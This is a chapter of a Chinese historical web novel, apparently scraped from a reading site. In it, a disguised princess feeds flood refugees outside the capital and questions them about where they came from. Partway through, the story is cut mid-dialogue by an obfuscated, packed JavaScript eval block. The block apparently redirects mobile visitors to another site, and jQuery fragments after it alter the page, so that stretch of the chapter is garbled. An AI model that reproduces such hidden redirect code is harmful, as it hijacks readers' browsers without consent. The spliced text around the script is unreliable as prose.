41. 第 41 章

作品:《郡主执刀录

    建阳城多了许多流民,两两三三聚在一起,烈日炎炎下身上汗酸味根本掩不住。


    建阳是临月都城,天子脚下百姓富庶,就算是平头百姓也多有讲究。面对这些破布烂衫,蓬头垢面的流民避之不及,路过流民身边都不紧遮挡口鼻面露嫌弃。


    挎着腰间长刀的官差一行人不耐烦地踹着瘫在地上流民,对着他们吆五喝六:“起来,起来,也不看看这是什么地方,哪来这么一群叫花子,快滚。”


    地上一枯槁的老头伸出枯树枝般的手想要拉住官差的衣角求求情,却挨了对方一记窝心脚,剧烈的咳嗽起来,面色一下子涨得青紫,断断续续的说道:“大人,大人,救救草民吧,给草民一口吃的吧!”


    官差嫌弃的拍了拍衣服,听到老头的话冷笑一声,嘲讽道:“牢饭,你这种人还想吃的,脸真是够大的。牢饭都没有,倒是有一顿板子你要不要啊。”


    说着几个官差就要去拉扯瘫在地上的老头,老头哀嚎着,身旁同样破布烂衣的流民扑上去拉扯着官差,一时间哭声,喊声,骂声乌泱泱的乱作一团。


    “小婉,你瞧那边怎么还打起来了?”


    嘉宁想着去了江南许久,没能替宋清潇和方庭轩送信。昨夜里又翻去了永安殿,拿到厚厚一摞信件。今日得闲特意带着小婉和瑾瑜出去游玩,顺便送信。


    二人坐在马车内,无意间撩起帘子,嘉宁窥见街上不知道何时多了许多乞丐,正想着让小婉拿出些银两施舍,就听到这边吵闹声。


    “郡主,你瞧那群人多可怜被打的根本没法还手。这些乞丐也是因为饿急了才会做出错事,饿肚子的滋味是最难受的,郡主我们能不能去帮帮他们。”小婉是底层百姓,她也是受过苦挨过饿,明白那种滋味不好受,打心里同情他们,瞧着那群人挨打,语气里也带着焦急与哀求。


    “不管是否是真的做了什么错事,也不该当街打人,走,我们去瞧瞧。”嘉宁叫停马车,快步来到那伙人面前。


    “你们怎么能打人呢,快住手!”


    官差哪能这么容易就停手,流民中一个蓬头垢面的女人伸着手就去挠官差的脸,加上旁边几人挡着,真让她得手,将那官差的脸挠破了相。


    官差吃痛,小心的摸了摸脸,抽出腰间的长刀:“臭娘们,你们这是找死啊,兄弟们亮家伙。”


    瑾瑜岂能让他们在嘉宁面前杀人,眼疾手快来到那人面前,一把将对方长刀按回腰间。


    “哎呦呵,哪来的人敢挡着,信不信我砍了你。”


    “且慢,且慢,几位大人何苦要动手,有话好好说不是吗?”嘉宁赶紧走过来,当然不忘紧紧拉着小婉,知道她害怕,下意识的去护着她。


    “这些个臭叫花子挡在着,这是什么地界,天子脚下,来来往往这么多官员,污了哪位大人的眼你担待得起,我可担待不起。”


    官差想要再次拔刀,手上力气却抵不过瑾瑜,没能成功,心中有气却只能强行咽下,说话也缓了些。


    一听这话,嘉宁眼睛骨碌碌一转,心中明白几分,袖中的手轻轻扯了扯小婉:“几位大人也是因为公务在身不是,只要这些个流民不在着不就好了,您那只管交给我去办吧。今个天热,您辛苦,我请几位大人喝喝茶。”


    嘉宁接过小婉掏出些碎银子递到为首的官差手中,将瑾瑜挤到一旁,陪着笑:“我替他给您赔不是了。”


    官差掂了掂手中的银子,心满意足的望着嘉宁:“算你小子识相,这几个臭叫花子不管你用什么方法立刻让他们滚蛋,别在这碍眼,出了城门爱去哪就去哪。”


    “自然!”


    一身男装打扮的嘉宁落在官差眼中倒是个体面的贵公子,京中有钱就是爷何必去招惹,官差倒也识趣拿了银子就走没有再多的刁难。


    嘉宁想去搀起地上的老者,可惜老者连走路的力气都没有,只能让他坐上马车。周围男女老少的围上来,这一伙流民原是一家,嘉宁无奈只能带着他们一起出城。


    寻了一处破庙想要将他们安置下来,可庙中早已有了不少的流民,见有马车前来,不少人围了过来就要磕头讨要吃食。


    嘉宁瞧着他们一个个面黄肌瘦,形容枯槁,其中不乏老弱妇孺,嘉宁不免心生了怜悯,让小婉坐着马车回城中买米和吃食来。


    破庙里,嘉宁穿着华贵与之格格不入,那群人自觉与她隔开,有个饿的脑袋大身子瘦的小男孩躲在柱子后偷偷瞄她,那双眼睛在凹陷的眼眶中如同沙漠中仅剩不曾干涸的泉水,清澈干净却大的与消瘦的脸庞不相称。


    嘉宁冲他挥挥手示意他过来,小男孩却害怕的缩在柱子后面不敢再偷瞄。


    瑾瑜直接绕到另一旁,将他逼了出来。小男孩哭喊着扑到瘦弱的妇人怀里,却没能得到安慰。


    “小兔崽子,你消停点,跑饿又没饭吃。”妇人只是恶狠狠的说完这句话,又倚着墙壁眯上眼睛。


    小男孩讪讪应一声,又偷瞄嘉宁一眼,瞧着她从袖中摸出一块糖,又冲自己挥挥手似是诱惑一般。小男孩只是摇摇头,挨着娘亲躺下也闭上眼睛,嘴巴却怀念起糖的甜味舔舔嘴皮,又偷瞄嘉宁一眼。


    只见嘉宁手一抛,糖块在空中划出一道弧线,直直的就冲着这边砸来,小男孩睁大偷瞄的眼睛,伸手去接。糖块却没能如愿落入他的手心,被一个女孩接住。


    “那是我的糖!”


    小男孩下意识的大喊,瞬间就有更多的孩子去抢,一瞬间那个女孩就被压在最下面,尘土飞扬糖块落在地上却没人嫌弃,一双双小手都在抢。小女孩一把将沾满泥土的糖块塞进嘴里。


    “不要抢,我买的米很快就到,到时候都有饭吃,现在不许闹,都给我停手。”


    嘉宁立刻将这些孩子分开,将那个小女孩扶起替她拍去衣服上的尘土。


    “丫过来。”那个倚墙的妇人喊了声。


    小女孩怯怯的走了过去,将糖块吐了出来,递到小男孩面前,男孩也是不嫌弃。


    嘉宁还想去问,可那妇人根本不想搭理嘉宁。


    一时间破庙里只有喘气的声音与时不时低低的呻吟,人在饿的时候是不愿意说话和行动,官府都不管他们,怎会有人指望嘉宁真能买米来,他们唯有在这里等死的份。


    好在小婉不负嘉宁所托,不仅带来米,还有些菜和肉。


    “坏了,这庙里连个做饭用的锅都没有,这可怎么办!”


    嘉宁望着白花花的大米才想起没有工具烹饪,巧妇难为无米之炊,有米却无锅无柴,也难坏嘉宁。


    “公子。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057707|194900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    您是不知道如今这米价涨了多少,咱们带的银子根本不够用,还好遇见了方公子。这些啊都是方公子买的,他还让将野将行带了做饭的厨具,一会方公子就过来。我们先打水洗菜吧。”小婉解释道。


    好在几人在破庙后院发现一口井,瑾瑜打水,小婉择菜,嘉宁洗米,几人配合相当很快就收拾好。


    方庭轩带着将野将行也到了,几人架起锅灶熬起米粥,香味很快弥散整个破庙,流民挣扎着起身就围了上来。


    嘉宁可不想再围观几次争斗,让瑾瑜将野将行拿了趁手的武器将锅灶保护起来。


    “诸位,瞧着都是饿了好几天吧,这会为大家准备好了米粥。”


    嘉宁说着一伸手示意小婉打了一碗粥,举着米粥在众人面前绕了一圈,白花花的大米散发着热气勾着在场各位的胃,有人按耐不住想要靠前却被瑾瑜手中的刀吓退,只能咽了咽口水。


    “诸位,香不香啊。想吃的话,谁都不许抢,排好队,一个人一碗粥,谁都不许抢,谁都有份!”


    恩威并施下,流民也排好了队,将野将行一左一右守在锅前,更有瑾瑜来回踱步防御。


    这架势让方庭轩忍不住笑了出来,来到嘉宁身边,“公子施粥倒是别有意境,不像是施倒像是要抢。”


    嘉宁同样笑了出来:“你说对了,我就是要抢!这么多流民指不定是哪里闹了灾,我要是先查出来,这功劳不就是我的了。”


    小婉将盛好的粥递到流民手中,嘉宁赶忙上前问话:“这粥可不是白喝的!”


    那人面露难色:“我没钱!”


    “不要钱,你回答我一个问题,你们是从哪里来的?”


    “澜州!”那人急着回答,末了看了眼粥问道:“我能喝了吗?”


    得到了嘉宁的同意,也不管这粥还冒着热气,急忙喝了一口,就算烫的咂舌也不肯吐出来,张着嘴往外吐着热气。


    嘉宁继续吆喝着:“诸位这粥可不是白喝的,我也不要你们银两,一个问题换一碗粥。瞧着这还有菜和肉,想吃的就看你能不能回答上我想要的问题了,知道的越多吃的也就越多。”


    嘉宁在保证所有人都能喝上一碗粥可以果腹的前提下进行奖励机制。在这种操作下,嘉宁很快就得到想要的答案。


    流民都是打南边而来,都是家乡闹了水患无处可去,只能靠流浪乞讨为生,可他们走哪都有人驱逐,只能想着来建阳城面见圣上诉说灾情。


    可他们来到了京城早就饿的两眼昏花没了力气,更是告状无门,朝廷有明令禁止私自赈灾他们只有等死的份。


    “澜州,临沧州,沂青州,这怎么听着这么耳熟?”


    嘉宁一连问了几人,的知他们的来处,只觉的地名耳熟却又一时间想不出来在哪听说过。


    方庭轩听到嘉宁念叨的几个地方凑上前来为她解惑:“都是南边的地方,水路繁多又是多雨的季节洪灾也不奇怪,年年修河赈灾年年都有灾民,只是今年为何如此多。何况运河不是刚修好,按理来说洪灾能得到缓和才对。”


    “可是我去惠州的时候没听说过,倒是海清河晏,一片祥和。”嘉宁正疑惑着,搁置手上的动作,却听到一个怯怯的声音。


    “姐姐,能再给我一碗吗?”